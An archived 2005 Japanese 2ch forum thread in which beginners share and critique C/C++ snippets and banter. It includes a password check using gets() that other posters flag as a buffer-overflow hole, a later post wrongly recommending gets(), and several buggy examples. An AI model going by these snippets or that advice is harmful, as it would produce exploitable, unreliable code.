VIPPERでもわかるプログラミング
レス数が1000を超えています。これ以上書き込みはできません。
0001デフォルトの名無しさん
2005/11/17(木) 01:30:420002デフォルトの名無しさん
2005/11/17(木) 01:31:24http://pc8.2ch.net/test/read.cgi/tech/1102142547/
初心者のためのプログラミング言語ガイド
http://pc8.2ch.net/test/read.cgi/tech/1034505166/
初学者が習うといい言語は何?(除PerlとJava)
http://pc8.2ch.net/test/read.cgi/tech/1075035410/
初心者のためのプログラミング言語ガイド Part2
http://pc8.2ch.net/test/read.cgi/tech/1122205164/
【言語】おすすめの言語ってなんでしょう【初心者】
http://pc8.2ch.net/test/read.cgi/tech/1124600090/
【完全初心者】何をやったらいいですか?
http://pc8.2ch.net/test/read.cgi/tech/1031149590/
0003デフォルトの名無しさん
2005/11/17(木) 01:31:390004デフォルトの名無しさん
2005/11/17(木) 01:31:50VIPPERでもわかる C言語プログラミング
http://pc8.2ch.net/test/read.cgi/tech/1129913775/
VIPPERでもわかる C言語 Part2
http://pc8.2ch.net/test/read.cgi/tech/1131189634/
VIPPERでもわかるプログラミング
http://pc8.2ch.net/test/read.cgi/tech/1131587274/
0005デフォルトの名無しさん
2005/11/17(木) 01:32:13http://wiki.spc.gr.jp/ProgrammingVIP/
新しいページ作りたい場合はURLのうしろに?(ページ名)ってつける
たとえばページ名をVIPにしたい場合は
http://wiki.spc.gr.jp/ProgrammingVIP/?VIP
すでに同名のページがあれば表示されるし、なければ新規ボタンがでるから押せ
上のほうにある編集ボタンを押せば文章書ける
最後に保存ボタンを押してセーブできる
0006デフォルトの名無しさん
NGNGhttp://www7a.biglobe.ne.jp/~boonzo/vip_c/
0007デフォルトの名無しさん
2005/11/17(木) 01:33:56http://ex10.2ch.net/test/read.cgi/news4vip/1131414679/l50
0008デフォルトの名無しさん
2005/11/17(木) 06:06:320009デフォルトの名無しさん
2005/11/17(木) 08:56:290010デフォルトの名無しさん
2005/11/17(木) 08:56:34かばやろう!
スレタイに「2」って付けろい。
0011デフォルトの名無しさん
2005/11/17(木) 09:18:020012デフォルトの名無しさん
2005/11/17(木) 09:21:51(^ω^#)
0013デフォルトの名無しさん
2005/11/17(木) 09:27:12■英語出来ない奴は来るな
■初心者は来るな
■Be使用者は来るな
■コテは来るな
■VIPPERは来るな
0014デフォルトの名無しさん
2005/11/17(木) 09:45:28■英語できない奴とか大歓迎
■超絶初心者も大歓迎
■be使用者は死ね
■コテは死ね
0015デフォルトの名無しさん
2005/11/17(木) 11:03:33001615
2005/11/17(木) 11:04:040017デフォルトの名無しさん
2005/11/17(木) 11:13:530018デフォルトの名無しさん
2005/11/17(木) 12:28:510019デフォルトの名無しさん
2005/11/17(木) 15:54:490020デフォルトの名無しさん
2005/11/17(木) 15:56:520021デフォルトの名無しさん
2005/11/17(木) 16:01:240022デフォルトの名無しさん
2005/11/17(木) 16:38:00ム板に移ってから流れ速いな
0023デフォルトの名無しさん
2005/11/17(木) 18:34:250024デフォルトの名無しさん
2005/11/17(木) 18:52:13class HelloWorld {
public:
HelloWorld() {
std::cout << "Hello, World." << std::endl;
}
} helloWorld;
int main() {}
0025デフォルトの名無しさん
2005/11/17(木) 18:58:49#include <stdlib.h>
int main()
{
printf("あなたのOSは%sです。\n", getenv("OS"));
return 0;
}
0026デフォルトの名無しさん
2005/11/17(木) 19:02:00そんな環境変数ないニダ
0027デフォルトの名無しさん
2005/11/17(木) 19:06:09#include <stdlib.h>
int main()
{
char *os;
os=getenv("OS");
if (os!=NULL)
{
printf("あなたのOSは%sです。\n", os);
}
else
{
printf("あなたのOSは(´・ω・)カワイソスです。\n");
}
return 0;
}
0028デフォルトの名無しさん
2005/11/17(木) 19:10:04(´Д` )
/ /⌒ヽ
_/⌒/⌒/ / |__
/ (つ /_/ /\ | /\
/ (_____/ ヽ/ \
/| ̄ ̄  ̄ ̄|\ / それがVIPクオリティ
/ | かまって | \/ http://ex7.2ch.net/news4vip/
| ください |/
0029デフォルトの名無しさん
2005/11/17(木) 19:15:52#include <stdlib.h>
int main()
{
char *os;
putenv("OS=VIPクオリティ");
os=getenv("OS");
if (os!=NULL)
{
printf("あなたのOSは%sです。\n", os);
}
else
{
printf("あなたのOSは(´・ω・)カワイソスです。\n");
}
return 0;
}
0030デフォルトの名無しさん
2005/11/17(木) 19:23:08#include <string.h>
int main(void)
{
char pass[20];
printf("パスワードを入力してください:");
gets(pass);
if (!strcmp("vip", pass) printf("⊂二二二( ^ω^)二⊃ブーン");
else printf("たわけ");
return 0;
}
0031たわけ
2005/11/17(木) 19:40:150032デフォルトの名無しさん
2005/11/17(木) 19:41:00バッファオーバフローによりプログラムの実行権限を乗っ取られる脆弱性があります。
0033デフォルトの名無しさん
2005/11/17(木) 19:41:310034デフォルトの名無しさん
2005/11/17(木) 19:45:16#include <string.h>
int main(void)
{
char pass[20];
printf("パスワードを入力してください:");
fgets(pass, 19, stdin);
if (!strcmp("vip", pass) printf("⊂二二二( ^ω^)二⊃ブーン");
else printf("たわけ");
return 0;
}
0035デフォルトの名無しさん
2005/11/17(木) 19:51:16↑の括弧内の条件の中にある「!」が最初にある場合は
なんて訳せばいいんですか?
0036デフォルトの名無しさん
2005/11/17(木) 19:59:03!は否定。〜でないときとでも言えばいい。
ただ、strcmpは一致すれば0を返す仕様だから、
!strcmpは熟語的に「文字列が等しければ」とでも思っておくのが良いと思う。
0037スーパーハカー
2005/11/17(木) 20:00:41#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
int main()
{
char *alnum="0123456789abcdefghijklmnopqrstuvwxyz";
int i, num;
char hensuu[10];
char *value;
for (i=0 ; i<pow(36,4) ; i++)
{
num=i;
strcpy(hensuu, "");
while(num!=0)
{
sprintf(hensuu, "%s%c", hensuu, alnum[num%strlen(alnum)]);
num/=strlen(alnum);
}
value=getenv(hensuu);
if (value!=NULL)
{
puts(value);
}
}
return 0;
}
0038デフォルトの名無しさん
2005/11/17(木) 20:03:40丁寧に答えて下さってありがとう御座います!!
strcmpが0を返す事を利用するとは参りましたw
0039デフォルトの名無しさん
2005/11/17(木) 20:09:14それいつ終わりますか
0040デフォルトの名無しさん
2005/11/17(木) 20:09:480041デフォルトの名無しさん
2005/11/17(木) 20:13:06http://www.kouno.jp/home/c_faq/c17.html#3
0042デフォルトの名無しさん
2005/11/17(木) 20:13:59右括弧が足りないじゃんww
0043デフォルトの名無しさん
2005/11/17(木) 20:17:07実行方法は
./a.out [0-9_¥-¥.]*
0044デフォルトの名無しさん
2005/11/17(木) 20:24:32サイト参考になります(´・ω・`)
0045デフォルトの名無しさん
2005/11/17(木) 20:27:14無駄が多い。
0046デフォルトの名無しさん
2005/11/17(木) 20:28:420047デフォルトの名無しさん
2005/11/17(木) 21:30:480048デフォルトの名無しさん
2005/11/17(木) 21:31:190049デフォルトの名無しさん
2005/11/17(木) 23:07:470050デフォルトの名無しさん
2005/11/18(金) 07:18:53具体的に指摘してよ
0051デフォルトの名無しさん
2005/11/18(金) 07:26:25とりあえず、コンパイラをインスコせなならん
0052デフォルトの名無しさん
2005/11/18(金) 08:41:13const char* に何度も strlen
なぜそこで使うか pow
毎回 sprintf
とか。
0053デフォルトの名無しさん
2005/11/18(金) 18:25:300054デフォルトの名無しさん
2005/11/18(金) 18:31:53>コネクションが確立されると、サーバはデータのストリームとして小数点に続く
>最上位の桁から始めて一度に円周率の一桁ずつを送信する
>これはクライアントがコネクションを閉じるまで続く
なんだこのDoSの温床wwwwww
0055デフォルトの名無しさん
2005/11/18(金) 18:56:59ちょwwwおまwww
コネクション繋ぎっぱなしにするだけす
text/plan+Keep-Aliveでどうにかなる気ガス
#ただ何でキャッシュを使わない?
0056デフォルトの名無しさん
2005/11/18(金) 19:02:22なんでHTTPなんだよw
0057デフォルトの名無しさん
2005/11/18(金) 19:06:000058デフォルトの名無しさん
2005/11/18(金) 19:14:570059デフォルトの名無しさん
2005/11/18(金) 19:25:500060デフォルトの名無しさん
2005/11/18(金) 19:55:05で、Visual C++はWindowsアプリケーションが作れると聞いたんだが、でもC++だってライブラリが用意されてるからGUI作れるよな。
じゃあこの2つは一体何が違うんだ?
0061デフォルトの名無しさん
2005/11/18(金) 19:55:080062デフォルトの名無しさん
2005/11/18(金) 19:57:12Visual C++ はマイクロソフトのC++開発環境一式の名称
C++はJavaと違ってGUIの標準がないから
MFCとかVCLとかQtとか使うことになる
0063デフォルトの名無しさん
2005/11/18(金) 20:00:300064デフォルトの名無しさん
2005/11/18(金) 20:05:140065デフォルトの名無しさん
2005/11/18(金) 20:07:06詳細は、↓をクリックしる
http://aa5.2ch.net/test/read.cgi/nida/1130995497/
0066デフォルトの名無しさん
2005/11/18(金) 20:08:360067デフォルトの名無しさん
2005/11/18(金) 20:12:09ディストリビューションでも誰か作ってくれよ
0068デフォルトの名無しさん
2005/11/18(金) 20:37:25ソートするやつとか
0069デフォルトの名無しさん
2005/11/18(金) 20:43:23おまえはjavaと.NETを馬鹿にした
0070デフォルトの名無しさん
2005/11/18(金) 20:49:33あぁ、商品名かwwww
0071デフォルトの名無しさん
2005/11/18(金) 22:56:38http://virus.org.ua/unix/cool/linux.html
旧BSDも
http://virus.org.ua/unix/cool/bsd.html
Worldも
http://virus.org.ua/unix/woid.jpg
0072デフォルトの名無しさん
2005/11/18(金) 23:22:37ノー�d先生に怒られた
0073デフォルトの名無しさん
2005/11/19(土) 00:43:06for(c=0; c<127; c++) if(isprint(c)) printf("%c", c);
0074デフォルトの名無しさん
2005/11/19(土) 01:25:150075デフォルトの名無しさん
2005/11/19(土) 02:46:28常時はってるかは関係なく、コネクションはりまくって
パケット捨てまくれば立派な DoS 攻撃どす。
ってか、ジョーク RFC にマジレス ( ´・ω・)カコワルス
0076デフォルトの名無しさん
2005/11/19(土) 07:19:570077デフォルトの名無しさん
2005/11/19(土) 07:26:04最後の書き込みは 05:52 だったぞ。
なんなんだ。
0078デフォルトの名無しさん
2005/11/19(土) 07:41:380079デフォルトの名無しさん
2005/11/19(土) 07:43:100080デフォルトの名無しさん
2005/11/19(土) 09:58:350081デフォルトの名無しさん
2005/11/19(土) 10:20:460082デフォルトの名無しさん
2005/11/19(土) 10:29:190083デフォルトの名無しさん
2005/11/19(土) 12:06:48いまのVIPではプログラムなんで出来ね
0084デフォルトの名無しさん
2005/11/19(土) 12:13:49冬でも暖かくなるプログラム作って
0085デフォルトの名無しさん
2005/11/19(土) 12:26:11スレッドを最大数立てて、全部∞ループで
三角関数などの計算コストの高い処理を繰り返せ
きっと暖かくなる
0086デフォルトの名無しさん
2005/11/19(土) 12:27:27VIPに立てたよ
0087デフォルトの名無しさん
2005/11/19(土) 12:46:59ttp://www.vipper.org/vip143186.txt
メチャ悩んだよ ><
解放のしかたがおわっとる。
これを双方向にしたいんだけど、今日中に終わる自信なし・・。
>>86
おつかれちゃーん!
0088デフォルトの名無しさん
2005/11/19(土) 13:05:01落ちた
保守しろよwwww
0089デフォルトの名無しさん
2005/11/19(土) 13:06:330090デフォルトの名無しさん
2005/11/19(土) 13:07:470091デフォルトの名無しさん
2005/11/19(土) 13:10:58えええwwwwもう落ちたのかよwww
やってらんねww
0092デフォルトの名無しさん
2005/11/19(土) 13:11:45みつけたw
0093デフォルトの名無しさん
2005/11/19(土) 13:40:47最終書き込み時間見て書き込むやつ
0094デフォルトの名無しさん
2005/11/19(土) 13:44:08需要がなきゃ落ちるのは定めだからな
0095デフォルトの名無しさん
2005/11/19(土) 14:10:12age2chだっけ?ググれば出てくるだろ?
0096デフォルトの名無しさん
2005/11/19(土) 14:45:51一時間単位でしか指定できないお
一時間じゃ間に合わないお
0097デフォルトの名無しさん
2005/11/19(土) 14:47:370098デフォルトの名無しさん
2005/11/19(土) 15:12:030099デフォルトの名無しさん
2005/11/19(土) 15:21:200100デフォルトの名無しさん
2005/11/19(土) 15:25:070101デフォルトの名無しさん
2005/11/19(土) 16:15:520102デフォルトの名無しさん
2005/11/19(土) 16:22:310103デフォルトの名無しさん
2005/11/19(土) 16:26:13ttp://age.s22.xrea.com/talk2ch/#post
0104デフォルトの名無しさん
2005/11/19(土) 16:27:46作るの簡単じゃね?w
0105デフォルトの名無しさん
2005/11/19(土) 16:30:040106デフォルトの名無しさん
2005/11/19(土) 16:41:36age2chだって出た当初は運営から使用禁止勧告がでてたんだ。
0107デフォルトの名無しさん
2005/11/19(土) 16:44:530108デフォルトの名無しさん
2005/11/19(土) 16:45:040109デフォルトの名無しさん
2005/11/19(土) 16:46:570110デフォルトの名無しさん
2005/11/19(土) 16:47:40じゃあage2ch使えばいいじゃん。わざわざ新しく作る意味ないね。
0111デフォルトの名無しさん
2005/11/19(土) 16:47:470112デフォルトの名無しさん
2005/11/19(土) 16:50:09http://www.borujoa.org/upload/source/upload3346.exe
0113デフォルトの名無しさん
2005/11/19(土) 16:51:23DelphiでIndy使ってGetしかしたことないからPost知らん。
0114デフォルトの名無しさん
2005/11/19(土) 16:52:02怖くて踏めない
0115デフォルトの名無しさん
2005/11/19(土) 16:52:340116デフォルトの名無しさん
2005/11/19(土) 16:53:27それじゃあ汚いけどソース晒そうか?
ていうかage2ch.pl使う人がいればそれでいいんだけど
別に今から新しいの作っても楽しそうだけど
0117デフォルトの名無しさん
2005/11/19(土) 16:54:330118デフォルトの名無しさん
2005/11/19(土) 16:55:140119デフォルトの名無しさん
2005/11/19(土) 16:55:46つーかexeでうpるなハゲ
0120デフォルトの名無しさん
2005/11/19(土) 16:56:050121デフォルトの名無しさん
2005/11/19(土) 16:57:01じゃあ何がよかったんだよ(^ω^;)
0122デフォルトの名無しさん
2005/11/19(土) 16:57:37IdHTTP.Post(URL, PostData:TStringList);
0123デフォルトの名無しさん
2005/11/19(土) 16:57:450124デフォルトの名無しさん
2005/11/19(土) 16:59:040125デフォルトの名無しさん
2005/11/19(土) 16:59:590126デフォルトの名無しさん
2005/11/19(土) 17:00:12ホストバイトオーダとかネットワークバイトオーダとか
気にするんですか?
0127デフォルトの名無しさん
2005/11/19(土) 17:01:330128デフォルトの名無しさん
2005/11/19(土) 17:39:07汝にフールプルーフという言葉を授けよう。
0129デフォルトの名無しさん
2005/11/19(土) 17:43:280130デフォルトの名無しさん
2005/11/19(土) 17:49:090131デフォルトの名無しさん
2005/11/19(土) 17:56:270132デフォルトの名無しさん
2005/11/19(土) 17:57:320133デフォルトの名無しさん
2005/11/19(土) 18:09:35FreeMacro!
0134デフォルトの名無しさん
2005/11/19(土) 18:25:290135デフォルトの名無しさん
2005/11/19(土) 18:29:07おまいはオレか。
0136デフォルトの名無しさん
2005/11/19(土) 18:49:33ソースを商用利用する場合は作者のサイトにアナル画像をうpしてくださいとか
0137デフォルトの名無しさん
2005/11/19(土) 18:53:430138デフォルトの名無しさん
2005/11/19(土) 18:56:440139デフォルトの名無しさん
2005/11/19(土) 18:58:030140デフォルトの名無しさん
2005/11/19(土) 18:58:42必ず配布ファイル群に
「僕は神山満月ちゃん!」と叫んだ音声ファイルを含めること
.wav .mp3 .ogg等
0141デフォルトの名無しさん
2005/11/19(土) 19:04:230142デフォルトの名無しさん
2005/11/19(土) 19:32:42形式はaiffのみでw
0143デフォルトの名無しさん
2005/11/19(土) 20:01:440144デフォルトの名無しさん
2005/11/19(土) 20:04:30かみやま みづき って読むのか?
0145デフォルトの名無しさん
2005/11/19(土) 20:04:51JaneだとDatで保存されてしまうから重宝するよ
0146デフォルトの名無しさん
2005/11/19(土) 20:07:260147デフォルトの名無しさん
2005/11/19(土) 20:08:340148デフォルトの名無しさん
2005/11/19(土) 20:16:070149デフォルトの名無しさん
2005/11/19(土) 20:18:520150デフォルトの名無しさん
2005/11/19(土) 21:24:37プログラミング暦どれくらいで、それを作れるようになりましたか。
0151デフォルトの名無しさん
2005/11/19(土) 21:29:34>>148
Cでも楽にできるし、Perlとか使えば余裕だろ
0152デフォルトの名無しさん
2005/11/19(土) 21:35:440153デフォルトの名無しさん
2005/11/19(土) 21:42:500154デフォルトの名無しさん
2005/11/19(土) 21:55:240155デフォルトの名無しさん
2005/11/19(土) 21:57:510156デフォルトの名無しさん
2005/11/19(土) 22:00:57ありがとうございました
0157デフォルトの名無しさん
2005/11/19(土) 22:05:00http://ex14.2ch.net/news4vip
↓
ex14.2ch.net
の変換関数をDelphiで作ってくれ
もちろん全板対応でな、ちょっと待つわ〜
0158デフォルトの名無しさん
2005/11/19(土) 22:07:090159デフォルトの名無しさん
2005/11/19(土) 22:23:290160143
2005/11/19(土) 22:29:06めんど臭かったからソースだけニダ
多分
gdc main.d encode.d dat.d -liconv
でコンパイル出来るニダ
出力エンコーディングはUTF-8ニダ
>>150
1年もたってないニダ
0161デフォルトの名無しさん
2005/11/19(土) 22:34:560162デフォルトの名無しさん
2005/11/19(土) 22:43:420163デフォルトの名無しさん
2005/11/19(土) 22:44:230164デフォルトの名無しさん
2005/11/19(土) 22:44:310165デフォルトの名無しさん
2005/11/19(土) 22:45:36業務的分野じゃ聞いたことがない。
0166デフォルトの名無しさん
2005/11/19(土) 22:51:13構造体の名前の頭文字が大文字だったり小文字だったりするのはやめてくれ。
気持ち悪い。
0167デフォルトの名無しさん
2005/11/19(土) 22:51:32ttp://www.kmonos.net/alang/d/comparison.html
俺はC/C++で十分だと思うし、Dの何処がいいのか理解できん
0168デフォルトの名無しさん
2005/11/19(土) 22:52:04そりゃ個人が作ってて、まだ仕様もきっちり決まってない様な言語を業務で使われたらたまらんわい。
0169デフォルトの名無しさん
2005/11/19(土) 22:52:32統一されてますが?
なにみてんの?
0170デフォルトの名無しさん
2005/11/19(土) 22:55:09>>168
あれって個人が作ってるのか?それなりに人気のRubyとはえらい違いだなwwww
0171デフォルトの名無しさん
2005/11/19(土) 22:56:18Railsのおかげとはいえ
0172143
2005/11/19(土) 22:57:23一応会社になってるけど中の人は一人だった希ガス
Copyrightは・・・
0173デフォルトの名無しさん
2005/11/19(土) 22:57:470174デフォルトの名無しさん
2005/11/19(土) 22:58:570175デフォルトの名無しさん
2005/11/19(土) 22:59:350176デフォルトの名無しさん
2005/11/19(土) 23:00:340177デフォルトの名無しさん
2005/11/19(土) 23:01:040178デフォルトの名無しさん
2005/11/19(土) 23:05:470179デフォルトの名無しさん
2005/11/19(土) 23:07:05問題が発生したためとの趣旨で終了させられます。
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<dir.h>
main(int argc,char*argv[]){
char ch;
FILE *fp;
FILE *wfp;
char filename[256];
char outfilename[256];
char key[128];
int keylen;
int i=0;
//原文ファイル名の決定
if(argc > 1){
strcpy(filename,argv[1]);
}else{
printf("ファイル名を入力してください>");
scanf("%s",filename);
}
0180デフォルトの名無しさん
2005/11/19(土) 23:09:090181デフォルトの名無しさん
2005/11/19(土) 23:09:290182デフォルトの名無しさん
2005/11/19(土) 23:10:36http://pc8.2ch.net/test/read.cgi/tech/1129043264/661-
誤爆?
0183デフォルトの名無しさん
2005/11/19(土) 23:10:58せっかくだから最後まで上げてよ
0184デフォルトの名無しさん
2005/11/19(土) 23:11:12おまえはアメリカ爆撃機かよ
0185デフォルトの名無しさん
2005/11/20(日) 00:38:590186デフォルトの名無しさん
2005/11/20(日) 00:40:01scanf つかっちゃめー
使うなら、gets( char* dist ) か、fgets( char* dist, int length, FILE* in )。
0187143
2005/11/20(日) 00:46:290188デフォルトの名無しさん
2005/11/20(日) 00:48:370189デフォルトの名無しさん
2005/11/20(日) 00:49:28それ品質の基準じゃなくてコーディング規約だから
0190デフォルトの名無しさん
2005/11/20(日) 00:57:53だな。エディットコントロールに書き込ませてGetWindowTextだな。
0191デフォルトの名無しさん
2005/11/20(日) 01:01:120192デフォルトの名無しさん
2005/11/20(日) 01:05:350193デフォルトの名無しさん
2005/11/20(日) 01:06:570194143
2005/11/20(日) 01:06:57fgetsでは読み込むサイズを指定するがgets, scanfは指定しないためメモリを破壊する。
0195デフォルトの名無しさん
2005/11/20(日) 01:11:23MS独自拡張使おうぜ
0196デフォルトの名無しさん
2005/11/20(日) 01:12:22ニュー速VIP (15619)
実況headline (1181)
モ娘(狼) (927)
速報headline (760)
ニー速 (755)
うひょー
0197デフォルトの名無しさん
2005/11/20(日) 01:25:57\nで止まるんだっけ?
0198143
2005/11/20(日) 01:27:230199デフォルトの名無しさん
2005/11/20(日) 01:31:36http://www.linux.or.jp/JM/html/LDP_man-pages/man3/gets.3.html
0200143
2005/11/20(日) 01:34:340201デフォルトの名無しさん
2005/11/20(日) 01:43:21fgetsだけじゃだめなの?
0202デフォルトの名無しさん
2005/11/20(日) 01:44:090203デフォルトの名無しさん
2005/11/20(日) 01:52:52こうすればいいじゃん
それ以前の問題としてC言語は渡した配列のサイズを受け側で認識できないのが最大のセキュリティホール
0204デフォルトの名無しさん
2005/11/20(日) 01:58:38それはみんな思ってることだ
逆に、その問題点を常に意識してプログラム書くから
他の言語に比べてロジックバグは少なくなるという。
それがいいことかと言われると正直Yesとはいいづらいけど
その辺の危機意識を身を持って感じた人間は
多言語を触るときに強いと思うお
0205デフォルトの名無しさん
2005/11/20(日) 02:00:47エラーでるなら使い方難しいんじゃね?
0206デフォルトの名無しさん
2005/11/20(日) 02:03:10そんなことできるか?
0207デフォルトの名無しさん
2005/11/20(日) 02:05:23できねーよ
C言語の実装をこういう風に変えたらいいじゃんっていう希望願望夢
0208デフォルトの名無しさん
2005/11/20(日) 02:07:47libvipcを作ればよくね?
0209デフォルトの名無しさん
2005/11/20(日) 02:10:18#include <vip.h>
正直、libcの機能を体系的にまとめて編成しなおしたいという願望は
みんな心の奥底に持っているんじゃまいか?
0210デフォルトの名無しさん
2005/11/20(日) 02:16:320211デフォルトの名無しさん
2005/11/20(日) 02:17:510212デフォルトの名無しさん
2005/11/20(日) 02:25:27あとは名前統一するだけ
0213デフォルトの名無しさん
2005/11/20(日) 02:25:562005からはgetsやscanfのサイズ指定可能版も出たな
0214デフォルトの名無しさん
2005/11/20(日) 02:30:29何が基本と言うことはない
いや、確かにCは基本かもしれないけど
重要なのは「言語は手段であって目的ではない」ということだお
どんな言語にも得手不得手はあるし、目的に応じて
言語を使い分けることはプロのプログラマとして当たり前田のキャプチュード
0215デフォルトの名無しさん
2005/11/20(日) 02:32:01勉強不足で申し訳ありません。 腹を切ってきます。
0216デフォルトの名無しさん
2005/11/20(日) 03:08:080217デフォルトの名無しさん
2005/11/20(日) 06:24:49vipはもう駄目ぽ。。
0218デフォルトの名無しさん
2005/11/20(日) 06:28:080219デフォルトの名無しさん
2005/11/20(日) 06:46:39面白そうだけど、報道2001も見たいなぁ。
今日は平沼赳夫さんが出るみたいだし。
0220デフォルトの名無しさん
2005/11/20(日) 06:47:050221デフォルトの名無しさん
2005/11/20(日) 06:48:060222デフォルトの名無しさん
2005/11/20(日) 06:49:380223デフォルトの名無しさん
2005/11/20(日) 06:55:570224デフォルトの名無しさん
2005/11/20(日) 06:56:190225デフォルトの名無しさん
2005/11/20(日) 07:29:45みんながんばろー (`・ω・´)
0226デフォルトの名無しさん
2005/11/20(日) 07:37:15もう寝る!
0227デフォルトの名無しさん
2005/11/20(日) 08:35:59確かにexe踏んだら嫌な気分になるね
製作者からすれば安全なのわかってるから油断したよ
ぶひぶひ
0228デフォルトの名無しさん
2005/11/20(日) 08:38:262人だよ
0229デフォルトの名無しさん
2005/11/20(日) 14:10:04末尾が2つのnullで終わる文字列があって、今はその変数名のプリフィクスをszzにしています。
でも適当に考えたプリフィクスなので、ちょっと気持ち悪いです。
他に何か適切で一般的なプリフィクスはありますか?
0230デフォルトの名無しさん
2005/11/20(日) 14:12:470231デフォルトの名無しさん
2005/11/20(日) 14:29:51とゆうかまさにピッタリなスレがあるからそっち池
0232デフォルトの名無しさん
2005/11/20(日) 14:44:160233229
2005/11/20(日) 14:55:04サンクスです。
ハンガリアンはあんまりスマートな命名規則じゃないっていうのはよく聞きますね。
でも私はこれしか知らないぽ。MFCもいまだにハンガリアンだし・・
いまはラクダがなんちゃらっていうのが流行りなかな・・
0234デフォルトの名無しさん
2005/11/20(日) 15:23:490235デフォルトの名無しさん
2005/11/20(日) 15:28:05前身のVJ++が既にそうだったし。
.NETはハードウェアなどの概念を抽象化した仮想マシン・処理系だから
型を意識させる必要そのものがないと思う。
0236デフォルトの名無しさん
2005/11/20(日) 15:37:50ハンガリアンを使わねばプログラマにあらず
みたいなこと書かれてたから、それ読んだ後から
ハンガリアンっぽい名前にしてます。。
0237デフォルトの名無しさん
2005/11/20(日) 15:38:150238デフォルトの名無しさん
2005/11/20(日) 15:49:320239デフォルトの名無しさん
2005/11/20(日) 16:11:46頭よさげなプログラムに見えるw
0240デフォルトの名無しさん
2005/11/20(日) 17:26:15それ、一人で規模の小さいものつくるんなら必要ないかもしれんが・・・・
0241デフォルトの名無しさん
2005/11/20(日) 17:27:11http://ex14.2ch.net/test/read.cgi/news4vip/1132474262/
0242デフォルトの名無しさん
2005/11/20(日) 17:50:08http://www.vipper.org/vip144170.txt
馬鹿なのでイマイチ理解不能 orz...
なんとかこれを双方向にして
シューティングの弾とか管理するクラスにしたいんだけど。。
0243デフォルトの名無しさん
2005/11/20(日) 17:56:17原理だけ理解しておいて、STL使ったほうが楽だよ
0244デフォルトの名無しさん
2005/11/20(日) 18:01:18そですね。STLのお勉強はまだしてませんが、
最後はそういうことになるかと思います。
でもでも、やぱ自分でサクサク作れるぐらいになりたぃぃ。
今知恵熱出てる (ノД`)
0245デフォルトの名無しさん
2005/11/20(日) 18:31:47まったく需要ないが自己満足ですはい。
0246デフォルトの名無しさん
2005/11/20(日) 18:36:33昨日のやつ?
0247デフォルトの名無しさん
2005/11/20(日) 18:40:19そうそう爆撃機
0248デフォルトの名無しさん
2005/11/20(日) 21:28:19ヘッダに書いてるようにそれはリストじゃなくてキューだから
FIFOのリストというとややこしいのでキューと呼んだ方がいいお
0249デフォルトの名無しさん
2005/11/20(日) 21:56:06逆にC(とC++)は型に関して厳しいからハンガリアンは不要という説もある。
俺は基本的にpとhなんたら位しか使わない。
0250デフォルトの名無しさん
2005/11/20(日) 23:32:38MSの天才プログラマが好んで使ってたらしいから
凡人は下手に真似しないほうがいいのかも
0251デフォルトの名無しさん
2005/11/21(月) 01:18:000252デフォルトの名無しさん
2005/11/21(月) 01:19:29命名規則
0253デフォルトの名無しさん
2005/11/21(月) 01:20:080254デフォルトの名無しさん
2005/11/21(月) 01:20:33それはジャンガリアンだ
0255デフォルトの名無しさん
2005/11/21(月) 01:21:000256デフォルトの名無しさん
2005/11/21(月) 01:21:380257デフォルトの名無しさん
2005/11/21(月) 11:54:470258デフォルトの名無しさん
2005/11/21(月) 12:03:43int main(){
Tepodong tepodong = new Tepodong();
tepodong.target = Cityname.Tokyo;
tepodong.fire();
return 0;
}
0259デフォルトの名無しさん
2005/11/21(月) 12:11:55思いっきりC++な件
0260デフォルトの名無しさん
2005/11/21(月) 12:13:040261デフォルトの名無しさん
2005/11/21(月) 12:17:330262デフォルトの名無しさん
2005/11/21(月) 12:59:220263デフォルトの名無しさん
2005/11/21(月) 13:08:26コンパイルすらできんな
0264デフォルトの名無しさん
2005/11/21(月) 13:15:540265デフォルトの名無しさん
2005/11/21(月) 13:17:240266デフォルトの名無しさん
2005/11/21(月) 13:19:510267デフォルトの名無しさん
2005/11/21(月) 13:54:000268デフォルトの名無しさん
2005/11/21(月) 13:56:410269デフォルトの名無しさん
2005/11/21(月) 14:14:15VIPがつまらなくなったのは馴れ合いスレが増えたからでなく、単に厨房が増えたせいだという事に気が付いた
でもVIP以外やることないニート
0270デフォルトの名無しさん
2005/11/21(月) 14:19:11VIPが楽しいのは馴れ合いスレにいるからではなく、単に俺が厨房だったせいだということに気が付いた
ゆえにVIP以外やらないニート
0271デフォルトの名無しさん
2005/11/21(月) 16:07:490272デフォルトの名無しさん
2005/11/21(月) 19:03:28どもです m(__)m
FIFOがなんなのかわかんないんでググりましたよ!
Last In First Out のやつはスタックと呼んだ方がいいですかね。
双方向のリストは「双方向リスト」でおk?
0273デフォルトの名無しさん
2005/11/21(月) 19:47:120274デフォルトの名無しさん
2005/11/21(月) 20:11:190275デフォルトの名無しさん
2005/11/21(月) 20:15:16C言語で簡単に拡張ができるツールだよ
0276デフォルトの名無しさん
2005/11/21(月) 20:17:22例えば大量のファイルを高速に扱えるFileSystemとか。
0277デフォルトの名無しさん
2005/11/21(月) 20:26:16性器拡張なんてエロイな
0278デフォルトの名無しさん
2005/11/21(月) 20:27:270279デフォルトの名無しさん
2005/11/21(月) 20:30:22【読書の秋】性器拡張part20【ひぎぃの秋】
http://sakura03.bbspink.com/test/read.cgi/ascii2d/1128957158/
0280デフォルトの名無しさん
2005/11/21(月) 22:22:37他のクラスのデータメンバにアクセスしたいのだけど。
AクラスとBクラスは包含関係ではなくて、だけどBクラスは一時的にAクラスのあるデータメンバを知りたい。
例えば
class A
{
private:
double array[3];
}
って感じなときに
mainでAクラスのインスタンスとBクラスのインスタンスを作ったと後
BクラスのメソッドからAクラスのarray[3]を知るにはどうgetarrayを書けばいいのかしら。
Aクラスのデータメンバにbr* myBって持たせて
mainで
B myB;ってインスタンスを作ってもこの二つは別物だよね??
bakada ore
0281デフォルトの名無しさん
2005/11/21(月) 22:26:00フツーにメンバ関数じゃダメなのか?
0282デフォルトの名無しさん
2005/11/21(月) 22:45:12private double array[3];
double[3] getArray(){
return array;
}
} a;
class B{
double[3] getArray(){
return a.getArray();
}
}
こんな感じじゃね?
0283デフォルトの名無しさん
2005/11/21(月) 23:16:09class A{
private:
double array[3];
public:
double *getArray(){
return array;
}
};
class B{
private:
A *myA;
public:
void SetClassA( A *p ){
myA = p;
}
double *getArray(){
return myA->getArray();
}
};
メインで
A myA;
B myB;
B.SetClassA( &myA );
とかやればB.getArrayでおkじゃね?
0284デフォルトの名無しさん
2005/11/21(月) 23:17:37メインは
myB.SetClassA( &myA );
で
